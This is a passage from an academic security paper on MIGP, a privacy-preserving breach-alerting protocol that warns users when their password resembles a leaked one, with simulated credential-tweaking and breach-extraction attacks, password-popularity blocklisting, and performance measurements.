is represented by the dashed blue boxes in Fig. 1. The last bit
of the PRF of similar passwords is flipped to differentiate it
from the original leaked password.

Online computation. MIGP client, on input a user id u
and password w, calculates the ID of the bucket to query
based on the username, j = H(l)(u). Then the user gener-
ates m variants of their password w based on τ̃m. The client
“blinds” the passwords and their variants, sending to the server
H1(u‖w)r0 ,H1(u‖w′1)r1 , . . . ,H1(u‖w′m)rm for random values
r0, . . . ,rm ∈ Zq. Blinding ensures that the MIGP server does
not learn anything about the query (beyond j).

The server raises each of the blinded values to the secret
key κ, and sends these back to the client, along with the
bucket z j. The client can deblind the values to finish comput-
ing the PRF on all m+1 values. Then it checks if Fκ(u‖w) is
present in the bucket, and if so, it learns that (u,w) is in the
leaked data, outputting match. If not, the client checks if any
other computed PRF values Fκ(u‖w′i), or those values with
last bit flipped Fκ(u‖w′i)⊕1, or Fκ(u‖w)⊕1 is in the bucket.
If any are found, then the client learns that (u,w) is similar
to a (u,w′) found in the password breach, outputting similar.
Otherwise, it outputs none.

3.2 Server- vs. client-side variant generation
Based on the values of the parameters n and m, MIGP protocol
can allow generating variants only on the client-side (n = 0),
only on the server-side (m = 0), or a mix of both. By allowing
variants only on the server side, the existing IDB protocol can
be easily adopted, making it simpler to implement. However,
the server database expands by n times, requiring more disk
space and more bandwidth due to larger buckets.

In the case of client-side generation of variants, no change
on the server is required. The variants can be batched together
in a single API query to the server, saving network round
trips and bandwidth. (Note, the client only needs to download
the matching bucket from the server once per username.)
Moreover, in this approach, the client will have more control
over the variations. It can use inputs from the user, such as
their other passwords, to generate personalized variants that
are likely to be used as passwords by that particular user.
Such personalization was shown to be useful for correcting
password typos [21] and could be also useful for MIGP.

Although the client-side generation of password variants
has some benefits, it also suffers from some key limitations.
First, existing C3 services have rate-limiting measures, like
slow hashing, to prevent malicious clients from extracting the
breach data by repeatedly calling the APIs with different pass-
word guesses [44]. This would make checking multiple vari-
ations of a password too expensive to be practical. To make
things faster, the server could allow batching all queries into
one request and reduce the client-side computation. But there
is a key security issue with this approach: as the OPRF proto-
col blinds queried values, the server cannot differentiate if a
query contains a set of variants of a password or completely
different passwords. This can be exploited by a malicious
client to obtain a factor of n improvement in breach extrac-
tion attack efficacy (Section 5.1). Zero-knowledge proofs [28]
could be used, in theory, to prevent a malicious client from
checking arbitrary passwords, but it remains an open question
whether they can be made practical in this setting. We leave
finding an efficient solution to this problem for future work.

In the hybrid approach, the client generates m personal-
ized variations, possibly based on their other passwords or
personal information, and the server also stores n variations
of each breached password. Such a protocol with appropriate
client and server-side generation functions can increase the
protection against credential tweaking attacks to the equiva-
lent of generating n×m variants on the server or the client
side (as we show in Section 4). The hybrid approach can also
reduce the storage cost on the MIGP server, reduce bandwidth
cost due to smaller buckets, and lower the advantage gained
in breach extraction attack by allowing a smaller number of
guesses per malicious query.

In subsequent sections, we explore the performance, se-
curity, and efficacy implications of different choices of m, n,
along with how to build practical generative models τ̃m, τn.
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4 Efficacy of Different Similarity Measures
We explore different measures of password similarity using
generative models that enumerate the most likely variants
of a given password. Though the client-side and server-side
models can be different, we cannot learn two different models
due to the limitation of our dataset (as we explain below).
Thus we will focus on building a single generative model τ

that will be used both on the client and server side; we will
show even this simple approach already performs well.

In particular, we compare different similarity measures τ

based on efficacy at protecting from credential tweaking at-
tacks, computational performance, and security against breach
extraction attacks. We focus on the first two in this section,
and discuss the third in Section 5.

4.1 Similarity measures
As we focus on generative similarity metrics, any credential
tweaking attack can be repurposed to be a similarity metric.
We, therefore, start with the attack algorithms proposed in
Das et al. [22] and Pal et al. [41]. We denote these by Das and
P2P, respectively. We also created more efficient and effective
variants of these methods, named Das-R and wEdit, as we
discussed below. Each method takes as input a password w
and outputs an ordered list of similar passwords.

We also compare the generative methods to the embedding-
based similarity measure, PPSM, proposed in [41]. Although
existing PST protocols suitable for use with PPSM are not
fast enough for use in practice (as discussed in Section 2), we
still discuss them here should PST protocols become more
suitable for deployment in the future.

Das. Das et al. [22] were the first to show that users select
similar passwords across multiple websites, and that it is easy
to guess a user’s password given one of their other passwords.
They, given a password w, use a set of hand-crafted tweaks
to generate similar passwords. We refer to this approach of
generating similar passwords as Das.

Das-R. We observed that ordering of the tweaks used in Das
is not effective for smaller n. So we reorder the set of tweaks
based on the frequency with which these tweaks are used by
users in our dataset (Section 4.2). We show the reordering sig-
nificantly improves the efficacy of the rules when considering
smaller numbers of variants (≤ 10). We call this similarity
measure Das-R. The reordered rules are given in Appendix B.
Not all tweaks apply to all passwords, in which case we con-
tinue applying further tweaks until we obtain n variants.

P2P. While Das et al. used hand-crafted tweaks for generat-
ing variations, Pal et al. [41] used a neural network model,
called pass2path (P2P), to learn the tweaks a user is likely to
make to their passwords. This resulted in the most damaging
credential tweaking attack to date, outperforming prior works,
such as [22] and [51]. We refer to this approach as P2P. While
P2P is quite effective at capturing password similarity, it is
slow and expensive (even with GPUs) to compute.

wEdit. Finally, we explore automatically deriving a ranked
list of tweaks that can be applied to a password to obtain
variants. Although tweaks have long been used in password
cracking systems (e.g., [13]), here the goal is different —
finding variants likely to be chosen by a user and that are
vulnerable to credential tweaking attacks.

Following the definitions in [41], we define a unit transfor-
mation as a specific edit to be applied to the input password w.
A unit transformation is defined by a tuple (e,c, l) where e
specifies the edit type as one of insert, delete, or substitute; c
denotes the character to be inserted or substituted (c = ⊥
for deletion); and l is the location for the edit. The location
is length-invariant, representing the distance from the first
character by positive numbers and from the last character by
negative numbers; we use the smaller of the two distances and
break ties using the distance from the start of a password. For
example, (insert, ‘0’,−1) specifies adding the character ‘0’
to the end of a password, and (substitute, ‘a’,2) specifies re-
placing the second character with a lowercase letter ‘a’.

Given a pair of passwords (w,w′), we can calculate the
shortest sequence of unit transformations to generate w′

from w. We refer to this as the transformation path. The
computation can be done using standard edit distance algo-
rithms. We use the keypress representation of the passwords
w,w′ as defined in [20], which includes special characters
such as shift and caps lock.

Given a breach dataset containing multiple passwords asso-
ciated with the same user accounts, we compute transforma-
tion paths for every pair of passwords belonging to the same
user. Then we create a ranked list of transformation paths
based on how many pairs of passwords it explains. To gener-
ate variants of a password w, apply the transformation paths
one at a time, in decreasing frequency order, skipping if it is
not applicable. We stop if we have generated n variants. Note
that wEdit contains a much more exhaustive list of tweaks
(transformation paths) compared to Das-R. However, wEdit
is not sensitive to the input unlike the handcrafted rules in
Das-R, which include rules like insert ‘3’ if the last character
of the word is ‘2’. (The rules for wEdit and Das-R are given
in Appendix B.) Nevertheless, we will see below that they
have similar efficacy in our context.

4.2 Breach dataset
To drive empirical evaluation of the five similarity approaches,
we use a dataset containing a compilation of publicly available
breaches on the Internet [17]. This dataset was also used in
prior academic research work and industry reports, e.g., [25,
37, 41], and has been confirmed to contain real user accounts.
The breach compilation dataset contains nearly 1.4 billion
unique email, password pairs. We clean the dataset based on
the procedure described in [41], such as removing passwords
containing non-ASCII characters or longer than 30 characters
(which affects only 0.3% of users). We merged usernames
based on the mixed-method from [41] and removed users
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# D S T S1 S2

Users 908 760 230 380 380
Passwords 438 373 119 210 210
Unique user-pw pairs 1,147 918 229 459 459
Total user-pw pairs 1,317 1,069 248 535 535

Figure 3: Number of unique users, passwords, and username,
password pairs (in millions) in the entire dataset D, breach
dataset S, and test dataset T. S1 and S2 are two equal par-
tition of S. Total number of username, password pairs with
duplicates shown in the last row.

having more than 1,000 passwords. The resulting dataset D
consists of 1.3 billion unique username-password pairs from
908 million unique users (Fig. 3). More details about the
dataset can be found in [41].

For our simulations, we partitioned D into two: a larger
split (80%) simulates the leaked dataset S, which we further
divide into two equal sets S1 and S2 with no common users
between them; and the remaining dataset (20%) is used as
the testing dataset T. In Fig. 3, we report some statistics on
the dataset splits. S and T consist of 760 and 230 million
unique usernames, respectively. About 82 million usernames
are present in the intersection of T and S, implying that these
users in the test dataset have at least one password in the
simulated breach dataset. The number of users, passwords,
and user-password pairs are similar for S1 and S2, as expected.

For the attack simulations in Section 4.3, we conservatively
assume the attacker has access to more data than what is
known to the MIGP service. That is, we provide the attacker
with the entire leaked dataset S but train the similarity mecha-
nism for MIGP only on S1 (training is needed for Das-R, P2P,
and wEdit). The test dataset can, therefore, be considered a
list of users’ current passwords on some target websites for
which the attacker wants to gain illicit account access. The
test dataset is neither accessible to the attacker nor to the
similarity mechanisms that we train.

4.3 Empirical efficacy evaluation
We examine the effectiveness of a similarity measure based
on protection from credential tweaking attacks and impact on
usability due to false warnings, which can cause user fatigue.
To quantify this, we classify each pair of passwords belonging
to the same user as vulnerable or safe based on whether or
not they are vulnerable to credential tweaking attacks.

We pick password pairs (w1,w2) belonging to the same
user, such that w1 is selected from S1 and w2 from T. Hence,
both the attacker and service know the breached password w1
corresponding to the target user and want to attack/protect the
user’s unknown (test) password w2. We flag a pair vulnerable
if w2 can be guessed by pass2path [41] given w1 in a thousand
guesses. Otherwise, we flag the pair as safe. From all vulner-
able pairs, we randomly sampled 10,000 pairs to measure
the true positive rate (TPR) of a similarity measure τ as the

Parameters
Similarity
measures

% True
positive

% False
positive

n = 10
or

m = 10

Das 33.2 0.6
Das-R 52.6 0.0
P2P 46.4 0.0
wEdit 49.6 0.0

n = 100
or

m = 100

Das 46.9 2.2
Das-R 63.5 0.2
P2P 69.0 0.1
wEdit 69.3 0.1

n = m = 10 Das-R 89.9 2.9
wEdit 75.2 2.2

n = m = 10
(Greedy)

Das-R 93.5 4.5
wEdit 84.4 3.0

θ = 0.83
PPSM

67.9 2.0
θ = 0.75 87.6 4.7
θ = 0.5 99.1 14.0

Figure 4: True positive (ones vulnerable to 1,000-guess
pass2path attack) and false positive (others) rates for different
similarity measures, computed over 10,000 randomly sampled
password pairs. The best performing measures are boldfaced.

fraction of vulnerable pairs that are flagged by it. Similarly,
we randomly sampled 10,000 safe pairs and measured the
false positive rate (FPR) of τ as the fraction of these pairs that
are flagged by τ, which burdens users with spurious warnings.

The efficacy of a generative similarity measure can be dif-
ferent based on whether it is applied to the breached password
(on the MIGP server, τn) or to the queried password (on the
client, τ̃m). For a pair of passwords w, w′ in the breach data, if
we knew w was used before w′, then we could train τn to gen-
erate edits that modify w to w′ while τ̃m consider variants of
w′ leading to w. However, our training data does not contain
such temporal ordering information. Therefore, as mentioned
above, we use τ̃m = τn, i.e., the variants are generated in the
same way on the client and the server.

An orthogonal point is that for the hybrid case, in which
both m > 0 and n > 0, better utility may come from consider-
ing simultaneously which rules should be used on the client
and which ones should be used on the server. But the space
of all possible m×n combined client-server rule sets is large,
and we do not know how to search for optimal solutions effi-
ciently. We used a greedy approach to understand the efficacy,
but leave to future work developing better search techniques,
and evaluating their potential for improving efficacy.

Result. Fig. 4 shows the performance of the similarity mea-
sures. As expected, increasing the number n or m of similar
passwords improves the coverage against vulnerable pairs
across all methods. However, that also increases the false
positive rate, flagging safe passwords.

For MIGP where variants are only generated on the server
(or on the client side), Das-R gives the maximum 52.6% cov-
erage for n or m = 10 tweaks among all the generative ap-
proaches. P2P and wEdit perform the best with n or m = 100
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Figure 5: Percentage of vulnerable password pairs flagged by
different similarity measures for varying n. The slopes of the
graphs for all similarity measures decrease rapidly for n > 10.

with 69% coverage. PPSM gives high coverage against the at-
tacks but also has a higher false-positive rate compared to the
generative approaches. As the TPR of PPSM with reasonable
FPR ≈ 2% is lower than that of generative approaches (such
as wEdit, n or m = 100) and anyway does not lead to efficient
protocol, we do not consider it further. Between wEdit and
P2P, wEdit is drastically simpler to deploy and faster to run,
requiring 4.5× less pre-computation time (see Appendix A).

The hybrid approach, where n = 10 variants are generated
by the server and m= 10 are generated by the client both using
Das-R rules, gives the best coverage to credential tweaking
attacks, flagging 90% of vulnerable passwords at considerably
low false flagging of safe passwords (2.9%). We also tried a
greedy approach where we iteratively pick the tweaks on the
client and the server that maximizes coverage of the tweaks
until each side has m and n tweaks. This approach performs
better at identifying vulnerable passwords, flagging 94% of
them, but also has a high false positive rate (4.5%).

Efficacy with increasing variants. Fig. 5 examines how the
efficacy of the four generative models varies by the increas-
ing number of tweaks n in server side variant checking. The
results are the same for m in the client-side MIGP. Das-R out-
performs other techniques for n≤ 30. wEdit outperforms the
other measures after that for 30≤ n≤ 100. It was surprising
to us that the rule-based approaches (Das-R,wEdit) end up
matching or exceeding the performance of the much more
complex deep learning approach underlying P2P. This is be-
cause rule-based approaches can easily capture frequently
seen variants, for low values of n. The deep learning approach
works better for large n by finding and ordering less frequently
seen similarity relationships. For example, for n = 103, P2P
outperforms wEdit by 4%.

Although increasing n increases attack coverage, the slope
of the curves decrease rapidly (Fig. 5). Therefore, the benefit
of considering a higher n value diminishes while increasing
storage (only for server-side variant checking), computation,
and bandwidth cost, as we see in Section 6.

Therefore in the rest of the paper, we use Das-R for
n or m = 10 or hybrid n = m = 10 and wEdit for n or m = 100.

Breach alerting method q = 10 q = 100 q = 1000

Exact checking [37, 47] 10.1 13.4 16.3
MIGP [Das-R,n = 10 or m = 10] 2.8 5.0 7.9
MIGP [wEdit,n = 100 or m = 100] 1.9 3.0 5.2
MIGP [Das-R,n = 10 and m = 10] 0.6 1.0 1.4

Figure 6: Success rate of credential tweaking attacker in q ∈
{10,100,1000} guesses, assuming that the attacker is aware
of the breach alerting mechanism.

4.4 Adaptive credential tweaking attackers
We now measure the reduction in a credential tweaking at-
tacker’s success in breaking into a user account, should a
MIGP service be deployed with one of the similarity mea-
sures discussed in Section 4.3. We compare against the base-
line where an exact-checking C3 service such as [37, 47] is
used. For the simulation, we adapt the best-known creden-
tial tweaking attack — pass2path [41] — to be aware of the
MIGP service.

We conservatively assume that the attacker has access to
the entire breach dataset S, while the MIGP service has access
to the subset S1. We sample 10,000 users from the test dataset
T, who are also present in S1 and have a password marked
safe (not flagged as match or similar) by the service under
consideration; this constitutes the target users for the attacker.
With this user list, we can simulate the scenario where the
service (the exact checking C3 service or the MIGP service)
warned the user about their unsafe passwords on a target
website and the user subsequently changed their password.
Though not all users will abide by warnings, this setup allows
us to compare the maximum security benefits of a service
using similarity measures.

We consider an online attack setting, where too many incor-
rect password submissions should trigger an account lockout,
resulting in attack failure. Thus the attacker has a query bud-
get q≤ 103. We measure the fraction of user passwords the
attacker can guess in q attempts, assuming one of their other
passwords is present in S. The attacker enumerates guesses by
first generating candidates using pass2path, and skipping any
that would be flagged by the service. The attacker can infer
this themselves because we assume that the service’s breach
data and the similarity measure are known to the attacker.

As shown in Fig. 6, when only credential stuffing coun-
termeasures are in place, such as using [37] or [47], the cre-
dential tweaking attacker can guess passwords of 10.1% of
accounts using 10 guesses, which matches the performance re-
ported in [41]. The hybrid MIGP reports the highest reduction
in attack efficacy, 94% for q = 10. For the server or client-
side MIGP service, the efficiency decreases to 1.9% when
n or m = 100 variations based on wEdit are used; a reduc-
tion of 81%. The attack accuracy decreases by nearly 78%
and 68% for q = 100 and q = 1,000, respectively. Across
the board, larger n or m gives better protection against the
credential tweaking attacker, reducing the attack’s efficacy.
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MIGP(w′1, . . . ,w
′
m)

q← q−1
if q≤ 0 then return none
for i = 1 to m do

if w′i = w∗ then return (i,match)
if w′i ∈ τ(w∗) then return (i,similar)

return none

MIGPGuess(A ,q):
w∗←pW
w̃← AMIGP

if w̃ = w∗ return true
else return false

Figure 7: An abstract breach extraction attack security game
for a MIGP service parameterized by a number of MIGP pro-
tocol invocations q, a distribution of passwords p, a similarity
model τ, and a number of client-side variants allowed m.

5 Security Evaluation
A MIGP service allows clients to check whether a password
similar to the queried one is present in the breach. Current
C3 services, such as GPC [47], do not reveal any information
about breach data unless a client queries the exact username,
password pair. A natural question is: Will moving towards
similar-aware C3 services degrade the confidentiality of the
username, password pairs in the leaked database?

We formalize the abstract setting of a malicious client that
has access to a similarity oracle, assuming it is cryptographi-
cally secure (we refer to this as the ideal functionality follow-
ing parlance from the 2PC literature).

5.1 Breach extraction attacks
A MIGP service could be abused by malicious clients that
seek to learn about user credentials. This is particularly con-
cerning should a MIGP service have access to relatively new
breaches that are not widely available to attackers, making
the service a potential target for what we call a breach ex-
traction attack. We model such attacks via the security game
given in Fig. 7. In it, the adversary is given access to an oracle
that implements the ideal functionality of a MIGP service.
Note that the oracle is parameterized by a target password
w∗ chosen by the game, the query budget q, and a similarity
measure τ. In each query, the adversary can send up to m
passwords, and each is checked against the target w∗ and its
variants τ(w∗). Here we use τ for the server-side variants, but
allow a malicious client to choose any m passwords for the
client-side variants. The goal of the attacker is to guess w∗

within the given query budget q.
Finding an optimal guessing strategy for breach extrac-

tion is NP-hard. (See Appendix C for details.) However, it
is possible to create efficient greedy approximate algorithms
(Appendix D). We note that Chatterjee et al. [19] explored
NP-hardness results and greedy heuristics for typo-tolerant
password authentication, where the server returns true or false
should the submitted password be a typo of the registered pass-
word. But, in our setting, MIGP oracle returns one of three
possible answers. Therefore, their setting and results don’t
directly carry over to our setting.

In Appendix D, we present an efficient greedy algorithm
for the m = 0 case, called GreedyMIGP. We now turn to mea-

suring the efficacy of the greedy algorithm to understand
the real-world threat of a malicious client attempting to ex-
tract data from the MIGP service. We assume the attacker
has a guessing budget of q ≤ 103. This setup assumes that
the MIGP server will deploy some form of rate-limiting on
queries from a client (as discussed in Section 7).

Experiment setup. For simulation, we assume the MIGP
oracle is instantiated with S1 data (see Section 4.2), and the
attacker has access to only S2. This simulates the situation
where the attacker does not know the leaked data present in
MIGP, and is trying to learn those breached passwords for a
user. We sample 25,000 username, password pairs from S1.
For each pair, the attacker is given the username and required
to find the target password. We compute the efficacy of an
attack as the fraction of username, password pairs that the at-
tacker can successfully guess. (As per our data division, none
of the target usernames are present in S2, and therefore the
attacker cannot attempt a targeted credential tweaking-type
attack.) We evaluate the security loss for 10 variants based on
Das-R rules, and 100 variants based on wEdit rules. We first
experiment with only server-side variant generation (m = 0);
later in the section, we report the efficacy of breach extraction
attacks when allowing client-side variant generation.

The S2 dataset has 210 million passwords. If the attacker
sets W to all the passwords in S2, it will make GreedyMIGP
very slow to run (Fig. 15). We instead heuristically picked
the top one million passwords as W for the attack. These
passwords are used by 24% of users in S2.

For comparison, we also simulate a C3 service that does
not provide checking for similar passwords, which we refer
to as MIGP service with n = 0. For this case, the attack is
simpler: query the MIGP service with the top q passwords,
and if any query returns match, output the queried password.

Results. The success probability of the attacker in guess-
ing the target password using q ∈ {10,100,1000} queries is
shown in Fig. 8. We explain the β values below; here we fo-
cus on the rows with β = 0. An attacker can learn 6.57% of
passwords in less than a thousand guesses against an exact-
checking C3 service (n = 0,β = 0). The attacker’s success
probability increases to 13.58% for n = 10 and 17.18% for
n = 100. In the latter case, moving to a MIGP service may
lead to a 2.8× increase in an attacker’s ability to perform
breach extraction attacks.

We observed a counter-intuitive pattern for q = 10 and 100:
the attack success rate decreases with the increase of n from
10 to 100. This is because large n produces larger balls, mak-
ing it easier to get in the ball, but harder to identify the correct
password given a small query budget q = 10. Therefore, for
small q, guessing the most weighted password ball may not be
the optimal strategy. We plot the attack success for different
values q for n = 10 and n = 100 in Fig. 9. For query budget
q < 230, increasing the number of password variants n from
10 to 100 actually decreases this attack’s success rate.
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β n q = 10 q = 100 q = 1000

0
0 1.64 (± 0.22) 3.36 (± 0.35) 6.57 (± 0.61)
10 2.14 (± 0.26) 5.22 (± 0.56) 13.58 (± 0.61)
102 1.69 (± 0.17) 3.54 (± 0.30) 17.18 (± 0.73)

10
0 0.03 (± 0.00) 0.36 (± 0.08) 2.80 (± 0.27)
10 1.19 (± 0.15) 3.90 (± 0.40) 12.12 (± 0.45)
102 0.93 (± 0.11) 2.43 (± 0.25) 15.67 (± 0.61)

102
0 0.03 (± 0.03) 0.37 (± 0.08) 2.50 (± 0.30)
10 0.93 (± 0.13) 2.71 (± 0.27) 9.91 (± 0.42)
102 0.79 (± 0.13) 1.52 (± 0.26) 10.91 (± 0.41)

103
0 < 0.01 (± 0.00) 0.18 (± 0.06) 1.46 (± 0.14)
10 0.76 (± 0.11) 1.42 (± 0.10) 5.94 (± 0.16)
102 0.72 (± 0.09) 0.97 (± 0.11) 9.21 (± 0.24)

104
0 < 0.01 (± 0.02) 0.03 (± 0.02) 0.27 (± 0.03)
10 0.71 (± 0.10) 1.02 (± 0.07) 3.34 (± 0.23)
102 0.70 (± 0.10) 0.92 (± 0.11) 4.87 (± 0.12)

Figure 8: Attack success rate given different query budgets
(q) for different attack scenarios. Here n = 0 (first row in each
block) emulates existing exact checking C3 services. MIGP
oracle uses Das-R and wEdit similarity rules for n = 10 and
n = 100, respectively. The service blocks most frequent β

passwords. All success rates are in percent (%) of 25,000
target users sampled from S1. Standard deviations (shown in
parenthesis) are measured across the 5 random folds of these
pairs. Lower values imply better security.

Blocklisting. The abuse prevention mechanisms (e.g., slow
hashing and API rate limits) used in current C3 systems can
only slow down breach extraction attacks, but do not prevent
them. We, therefore, propose a simple yet effective mecha-
nism to reduce the attack success: blocklist the top β pass-
words so that an attacker learns nothing from the MIGP ser-
vice should a user’s password be one of them. The MIGP ser-
vice can do so by removing all the blocklisted passwords and
their variants from its breach database. (This will also reduce
storage and bandwidth overhead as we show in Section 6.)
These popular passwords are anyway unsafe to be used by any
user irrespective of whether they are leaked or not. Therefore,
a client application can warn the user who is using a password
equal to or similar to one of the blocklisted passwords.

For our simulations, we assume the MIGP service blocks
the β most frequent passwords according to S1 and their vari-
ants (according to the setup). If an attacker queries the MIGP
service with any of the blocklisted passwords the service al-
ways responds as none. Of course, the attacker is aware of
the set of blocklisted passwords and their variants.

We experiment with different values of β as shown
in Fig. 8; β = 0 denotes no blocklisting. Blocklisting reduces
the attacker’s success across all values of n. For q≤ β, the suc-
cess probability of an attacker for n= 10 and n= 100 remains
below that of existing C3 services (with n = 0 and β = 0),
except for β = q = 103 in n = 100. We believe this is due to
the higher ball size in case of n = 100. In this case, we need to
blocklist β = 104 passwords to reduce the attack success rate
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Figure 9: Comparison of attack success of breach extraction
attack for Das-R (n = 10) and wEdit (n = 100). for different
values of q. For query budgets q ≤ 230 (black dashed line),
success rates are slightly lower for the higher value of n.

below existing C3 services. We highlight those numbers in
the figure. As the top β passwords are blocklisted, the attacker
can’t learn if the user has a breached password that is one
of the top β passwords. The attacker’s best bet is to guess
passwords that are outside the top β passwords. The password
distribution follows Zipf’s law [50], therefore leading to a
significant decrease in breach extraction accuracy.

We also compute the breach extraction success rate against
users who do not use weak passwords. The results are shown
in Fig. 16 (Appendix E). For these users, we found that the
relative increase in attack success due to MIGP service is
higher, but the absolute success rates are small. For example,
for β = 104 and q = 103, the attack success is 0.27% when
n= 0, 2.98% when n= 10, and 2.56% when n= 100. Similar
to Fig. 8, the attack efficacy for n = 100 is worse than that of
n= 10 in most cases. We suspect that this is because our attack
is not optimal, especially for a smaller number of guesses
(q≤ 103).

Security of client-side variant generation. A client can
generate m variants of a password w and check them all in
parallel with the MIGP server. Due to the limitation of our
MIGP protocol there is no way for the server to verify if
the client has generated variants truthfully. Thus a malicious
client can use this to expand its query budget by a factor of
m: The client simply submits the next m passwords computed
using GreedyMIGP, to obtain in total m ·q queries.

We show the success rate of this breach extraction attack
for different m and n values with β = 104 in Fig. 10. Allow-
ing m = 102 variants on the client side increases the attack
success by more than twice for any q≤ 103 compared to al-
lowing only the server side n = 102 variants. Using the hybrid
approach to variant generation with m = 10 and n = 10 re-
duces the attack success rate, but still remains significantly
higher than m = 0,n = 100 setting. Therefore, we suggest that
if the breach data is sensitive it is safer to disallow client-side
variant generation and apply strict rate limiting.
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n m q = 10 q = 100 q = 1000

102 0 0.70 (± 0.10) 1.10 (± 0.05) 4.87 (± 0.12)
10 10 1.02 (± 0.07) 3.34 (± 0.23) 8.49 (± 0.09)
0 102 1.45 (± 0.08) 3.06 (± 0.22) 10.60 (± 0.68)

Figure 10: Comparing breach extraction attack success rate
between generating m variants on the client-side and n vari-
ants on the server-side. Here we assume β = 104. The first
row is the same as the last row in Fig. 8.

5.2 Security of the MIGP Protocol
Our MIGP protocol (given in Fig. 2) requires minimal
changes to previously proposed [37] and currently de-
ployed [47] protocols. This made deployment simpler, and
also the cryptographic security is derived directly from the
underlying protocol. Here we briefly summarize the security
achieved by MIGP, considering in turn curious servers and
malicious client threat models. MIGP communications must
be protected with TLS, preventing any manipulations of the
buckets or client queries by a network adversary.

As in the prior protocols, the MIGP server learns only the
client’s queried bucket ID. This reveals some bits of infor-
mation about the username, but nothing about the queried
password, assuming the password and username are inde-
pendent. (Some users may choose passwords similar to their
username, but it’s unclear how a malicious server can usefully
exploit this practice.) An actively malicious server can modify
the result obtained by a client, e.g., by erroneously claiming
passwords are not in the breach when, in fact, they are (or
vice versa). This attack is possible also for deployed exact
equality checking protocols [37, 47]. In theory, one could try
to use techniques to prevent this, e.g., by having the server
publish a commitment to the dataset and then performing
zero-knowledge proofs of (non-)membership [39]. We do not
believe this is necessary for breach alerting as such attacks
would seem to have low value to attackers.

An encrypted bucket reveals to a client the number of en-
tries in the bucket, and the updated entries and the time of
updates to buckets will be revealed over time. This could
conceivably have security implications in some contexts.
As shown in Section 5.1, MIGP services are susceptible to
breach extraction attacks, and therefore must employ different
forms of rate limiting. Note that a malicious client can sub-
mit a query for a bucket for username u but submit an OPRF
request for username u′ 6= u. This is true as well for existing
C3 services. Thus rate-limiting should not be based (only) on
bucket identifier, and instead on a client identifier (cookie or
IP address) or a token mechanism such as PrivacyPass [23].

6 Performance Analysis
We implement a prototype of MIGP and conduct experiments
to estimate its performance. We also compare it with existing
C3 services, such as GPC [47] or IDB [37] (equivalent to
MIGP with n = 0 and m = 0). We experiment with no block-

listing (β = 0) and blocklisting the β = 104 most frequent
passwords (and their variants). We want to measure and com-
pare: (1) storage overhead on the server side, (2) latency of
running the protocol, and (3) total bandwidth usage. Here
we use as breach dataset D the entire 1.14 billion username,
password pairs from the dataset described in Section 4.2.

Prototype implementation details. We implement the
MIGP client and server in Python 3.8, with petlib library for
elliptic curve operations. We chose the elliptic curve group
secp256k1 for G and set ` = 128. For H1, we use petlib’s
hash-to-point function to map the username, password pair
to G; internally it uses rejection sampling [30] with SHA256.
We also use SHA256 for H2. Should either of H1 or H2 be a
slow hash, there will be additional overhead in precomputa-
tion. We select the most frequent β passwords for blocklisting
based on the dataset D. The server is built using the Flask [7]
library and the client uses the requests [6] library to make
queries. This prototype implementation is publicly available.2

For all the pre-processing of the data, we used a desktop
with an Intel Core i9 processor and 128 GB RAM. We did
not use any GPU to optimize hash computation in our ex-
periments. For latency and bandwidth comparisons, we run
the server (t2.medium) and client (t2.micro) on two different
AWS EC2 instances running the Ubuntu 20.04 LTS image
and located in two different regions — US-East and US-West.

Precomputation overhead. We precompute the buckets of
PRF values for the entire breach dataset. MIGP, in compari-
son to exact-check C3 protocols, requires processing an ad-
ditional n variants for each leaked password and storing the
resulting PRF values. The precomputation on the server in-
volves computing Fκ(x) = H2(x,H1(x)κ), where x = (u‖w)
for the breached password and Fκ(x)⊕ 1, where x = (u‖w̃)
for w̃ ∈ τn(w). We use H2 to reduce the representation size of
the hash to 16 bytes, which saves disk space and bandwidth.

Generating n = 10 variants for a password using Das-R
similarity rules takes less than 0.02 ms, whereas generating
n = 100 variants using wEdit similarity rules takes 0.8 ms, on
average. If we had used Argon2 as H2, it would take 95 ms on
average for computing the hash of one username, password
pair, an estimated 361.5 CPU-years for pre-processing all
username, password pairs and their variants on our reference
implementation. Should breach data not be particularly sen-
sitive, a deployment can skip slow hashing or use time-lock
puzzles instead (see Appendix F).

The PRF values are then separated into buckets based
on H(l)(u). Duplicate values could arise when pairs (u,w1)
and (u,w2) satisfy the condition τn(w1)∩ τn(w2) 6=∅, which
can be common for users with credentials from multiple sites
in the known breach. Duplicates should be either omitted
(as we do in our prototype) or replaced with other variants.
The former is better for performance, but note that the length

2https://github.com/islamazhar/migp_python
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w/o blocklisting w/ blocklisting
l avg. std. avg. std.

16 1,751,666 36,832 1,431,876 30,107
20 109,479 9,192 89,492 7,513
24 6,842 2,297 5,592 1,877

Figure 11: Average bucket size of MIGP with n= 100 variants
for each password on the leak dataset, which contains 1.14
billion unique username, password pairs.

of buckets now depends on relationships between different
passwords — we are unsure whether this can be exploited by
an attacker given the large number of users in each bucket.

The total storage cost for 1.14 billion unique username,
password pairs and their variants would be 1.67 TB (consid-
ering every entry has n = 100 unique variants). Blocklisting
reduces storage (and bandwidth) requirements, and we found
that blocklisting the 104 most popular passwords and their
variants reduces the database size by 18% to 1.36 TB.

Bucket size selection. To make the private membership test
protocols practical, C3 services use bucketing to partition the
leaked dataset based on the prefix of the hash of the username.
MIGP follows the same approach. However, as MIGP con-
tains n variants of each password, the buckets would be quite
large for MIGP for the same number of buckets. Large bucket
size will increase communication costs in terms of bandwidth
and latency as the client has to download a larger amount of
data. We can reduce the bucket size by increasing the number
of buckets — by increasing the length of the hash prefix l.
The average bucket sizes for different hash prefix lengths for
MIGP are shown in Fig. 11. The bucket size, as expected, de-
creases exponentially with the prefix length (l). The average
bucket size with blocking the most frequent 104 passwords
for l = 16 (which is used by GPC [47]) is 1.43 million, or
22.85 MB. Increasing the length of the bucket identifier l
to 20 reduces the bucket size to 1.37 MB.

Latency & bandwidth comparison. We measure and
compare the latency and bandwidth requirements for
running different compromised credential checking ser-
vices: IDB-16 (also called GPC) [47], IDB-20 [37],
WR19-Bloom [52], WR20-Cuckoo [53], and our proto-
cols MIGP-Server, MIGP-Client, and MIGP-Hybrid. Although
WR19-Bloom and WR20-Cuckoo were designed to check
user’s passwords in multiple web services, these protocols can
be used for checking a user’s leaked passwords. MIGP-Server,
MIGP-Client, and MIGP-Hybrid are the different versions of
our protocol with variants generated on the server side (n =
102), client side (m= 102), and both (n= 10,m= 10). IDB-16
and IDB-20 are implemented following the same construction
as MIGP, but with different lengths of prefixes for bucketing
and setting m = n = 0. For WR19-Bloom and WR20-Cuckoo,
we use the corresponding authors’ implementation3 in Go but

3https://github.com/k3coby/pmt-go

customize it for the client-server setting.
We pick 25 random passwords from the test data set T and

